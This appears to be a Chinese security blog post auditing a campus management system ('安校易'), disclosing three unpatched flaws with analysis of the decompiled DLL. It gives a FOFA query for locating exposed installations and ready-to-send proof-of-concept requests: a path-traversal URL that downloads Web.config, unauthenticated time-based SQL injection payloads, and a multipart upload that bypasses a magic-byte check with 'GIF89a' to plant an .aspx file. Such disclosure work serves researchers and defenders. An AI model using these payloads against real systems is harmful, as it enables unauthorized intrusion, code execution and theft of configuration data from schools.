当前位置:首页>java>[跟着静师傅学代码审计]智慧校园(安校易)管理系统多处0day

[跟着静师傅学代码审计]智慧校园(安校易)管理系统多处0day

  • 2026-10-10 19:48:39
[跟着静师傅学代码审计]智慧校园(安校易)管理系统多处0day

DLL点击上方「蓝字」,关注我们

01

任意文件下载

fofa:

title="智慧综合管理平台登入"

先给出POC

http://target/Module/FileManagement/FileDownLoad.aspx?filePath=../../Web.config&fileName=Web.config

漏洞位于

\Module\FileManagement\FileDownLoad.aspx中。

对应的DLL文件为KR.Administrator.dll进行反编译分析。

接收参数为filePath和fileName,之后进入BigFileDownload处理主要逻辑。

可以看到通过Read函数对文件进行读取操作,由于代码缺少对文件路径规范化检查导致可通过../下载任意文件形成文件下载漏洞。

02

SQL注入漏洞

POC数据包:

POST /Module/CJGL/Controller/PPlugList.ashx?action=find HTTP/1.1Host: IP:PORTAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Type: application/x-www-form-urlencodedConnection: closeContent-Length: 33PlugIdentID=';WAITFOR+DELAY+'0:0:5'--&PlugName=';WAITFOR+DELAY+'0:0:5'--&DataUrl=';WAITFOR+DELAY+'0:0:5'--

漏洞分析:

漏洞位于

\Module\CJGL\Controller\PPlugList.ashx

对应DLL为KR.Administrator.dll,位于.Module.Controller下。

分析PPLugList方法下的AjaxProcess。

在find和findAll由于没有SystemHelper.checkPermission进行权限验证,并且在构建SQL查询条件时,直接使用了字符串拼接形成SQL注入漏洞。

03

文件上传漏洞

POC数据包:

POST /Module/FileUpPage/FileUpTitle.aspx?file_tmid=c HTTP/1.1Host: IP:PORTUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----21909179191068471382830692394Connection: closeContent-Length: 199------21909179191068471382830692394Content-Disposition: form-data; name="File"; filename="test.aspx"Content-Type: image/jpegGIF89aPwn!!!------21909179191068471382830692394--

之后访问路径为:

http://IP:PORT/imgnews/imgad/000000/c.aspx

漏洞分析:

漏洞位于文件为

\Module\FileUpPage\FileUpTitle.aspx

对应需要反编译分析的DLL文件也是KR.Administrator.dll。

分析FileUpTitle方法下。

1.从请求中获取参数:orgid(组织ID,默认为"000000"),type(上传类型,目前有"newsphoto"和其他类型,即imgad)。

2.根据不同的type,文件上传到不同的目录:

  当type为"newsphoto"时,上传到"\imgnews\newsphoto\" + orgid + "\"

其他情况(包括type为空或其他值)上传到"\imgnews\imgad\" + orgid + "\"

3.文件命名:使用请求参数"file_tmid"作为文件名,保留原文件扩展名。

4.文件上传后,使用SystemHelper.FilePass方法检查文件是否为图片类型。如果不是,则删除文件并返回错误信息。

5.返回JSON格式的上传结果。

接着跟进SystemHelper.FilePass方法查看他是怎么检查的?

这里的检查只是判断前2个字节是否为case中的开头ASCII字符,因此可以通过开头写GIF89a来绕过文件内容判断。

往期文章推荐

[跟着静师傅学代码审计]itc中心管理服务器审计

[跟着静师傅学代码审计-全网首发]用友U9 V6.6企业版多组织企业互联网应用平台命令执行+SQL+反序列化

[跟着静师傅学代码审计]九垠赢商业管理系统0day-文件上传和任意文件下载

公众号:安静安全

扫码关注 了解更多

点个「在看」,你最好看

最新文章

随机文章